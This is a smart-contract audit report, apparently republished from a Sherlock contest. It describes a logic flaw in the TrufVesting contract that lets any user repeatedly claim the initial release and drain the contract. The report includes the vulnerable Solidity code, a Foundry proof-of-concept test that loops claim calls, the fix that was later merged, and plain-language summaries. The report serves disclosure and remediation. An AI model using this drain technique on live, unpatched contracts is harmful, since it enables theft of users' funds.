Users can fully drain the `TrufVesting` contract
The claimable function returns the initial release amount repeatedly during the period between the initial release and the cliff, without subtracting what the user has already claimed. An attacker could call claim multiple times to receive the initial release each time, eventually draining the contract's funds.
Source: https://github.com/sherlock-audit/2023-12-truflation-judging/issues/1
Found by
0xLogos, CL001, HonorLt, IvanFitro, KupiaSec, asauditor, bughuntoor, carrotsmuggler, cawfree, fnanni, mstpr-brainbot, s1ce, ubl4nk, unforgiven, ydlee, zzykxx
Summary
Due to flaw in the logic in claimable any arbitrary user can drain all the funds within the contract.
Vulnerability Detail
A user's claimable is calculated in the following way:
- Up until start time it is 0.
- Between start time and cliff time it's equal to
initialRelease. - After cliff time, it linearly increases until the full period ends.
However, if we look at the code, when we are at stage 2., it always returns initialRelease, even if we've already claimed it. This would allow for any arbitrary user to call claim as many times as they wish and every time they'd receive initialRelease. Given enough iterations, any user can drain the contract.
function claimable(uint256 categoryId, uint256 vestingId, address user)
public
view
returns (uint256 claimableAmount)
{
UserVesting memory userVesting = userVestings[categoryId][vestingId][user];
VestingInfo memory info = vestingInfos[categoryId][vestingId];
uint64 startTime = userVesting.startTime + info.initialReleasePeriod;
if (startTime > block.timestamp) {
return 0;
}
uint256 totalAmount = userVesting.amount;
uint256 initialRelease = (totalAmount * info.initialReleasePct) / DENOMINATOR;
startTime += info.cliff;
if (startTime > block.timestamp) {
return initialRelease;
}
function claim(address user, uint256 categoryId, uint256 vestingId, uint256 claimAmount) public {
if (user != msg.sender && (!categories[categoryId].adminClaimable || msg.sender != owner())) {
revert Forbidden(msg.sender);
}
uint256 claimableAmount = claimable(categoryId, vestingId, user);
if (claimAmount == type(uint256).max) {
claimAmount = claimableAmount;
} else if (claimAmount > claimableAmount) {
revert ClaimAmountExceed();
}
if (claimAmount == 0) {
revert ZeroAmount();
}
categories[categoryId].totalClaimed += claimAmount;
userVestings[categoryId][vestingId][user].claimed += claimAmount;
trufToken.safeTransfer(user, claimAmount);
emit Claimed(categoryId, vestingId, user, claimAmount);
}
Impact
Any user can drain the contract
Code Snippet
Tool used
Manual Review
Recommendation
change the if check to the following
if (startTime > block.timestamp) {
if (initialRelease > userVesting.claimed) {
return initialRelease - userVesting.claimed;
}
else { return 0; }
}
PoC
function test_cliffVestingDrain() public {
_setupVestingPlan();
uint256 categoryId = 2;
uint256 vestingId = 0;
uint256 stakeAmount = 10e18;
uint256 duration = 30 days;
vm.startPrank(owner);
vesting.setUserVesting(categoryId, vestingId, alice, 0, stakeAmount);
vm.warp(block.timestamp + 11 days); // warping 11 days, because initial release period is 10 days
// and cliff is at 20 days. We need to be in the middle
vm.startPrank(alice);
assertEq(trufToken.balanceOf(alice), 0);
vesting.claim(alice, categoryId, vestingId, type(uint256).max);
uint256 balance = trufToken.balanceOf(alice);
assertEq(balance, stakeAmount * 5 / 100); // Alice should be able to have claimed just 5% of the vesting
for (uint i; i < 39; i++ ){
vesting.claim(alice, categoryId, vestingId, type(uint256).max);
}
uint256 newBalance = trufToken.balanceOf(alice); // Alice has claimed 2x the amount she was supposed to be vested.
assertEq(newBalance, stakeAmount * 2); // In fact she can keep on doing this to drain the whole contract
}
Discussion
sherlock-admin2
1 comment(s) were left on this issue during the judging contest.
Shaheen commented:
Valid High. Solid Catch
ryuheimat
https://github.com/truflation/truflation-contracts/pull/3
Fixed claimable function
mstpr
Fix LGTM
ryuheimat
Merged
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The claimable function returns the initial release amount without deducting the amount already claimed by the user.
Impact
Any user could drain all the funds within the contract.
What the attacker needed
A vesting plan with initial release and cliff; a user with a vesting entry; time between initial release and cliff
The fix
The claimable function was fixed to subtract the amount already claimed from the initial release.
How it was found
- Set up a vesting plan with a category and vesting ID.
- Assign a user vesting with a stake amount.
- Advance time to be between the initial release period and the cliff.
- Call claim with the maximum amount to receive the initial release.
- Repeatedly call claim again to receive the initial release each time.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A vesting contract gradually releases tokens to users over time. The function that calculates how many tokens a user can claim had a mistake: during a certain period, it always said the user could claim the same initial amount, even if they had already claimed it. So a user could keep claiming that amount over and over, taking more tokens than they were owed and emptying the contract.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.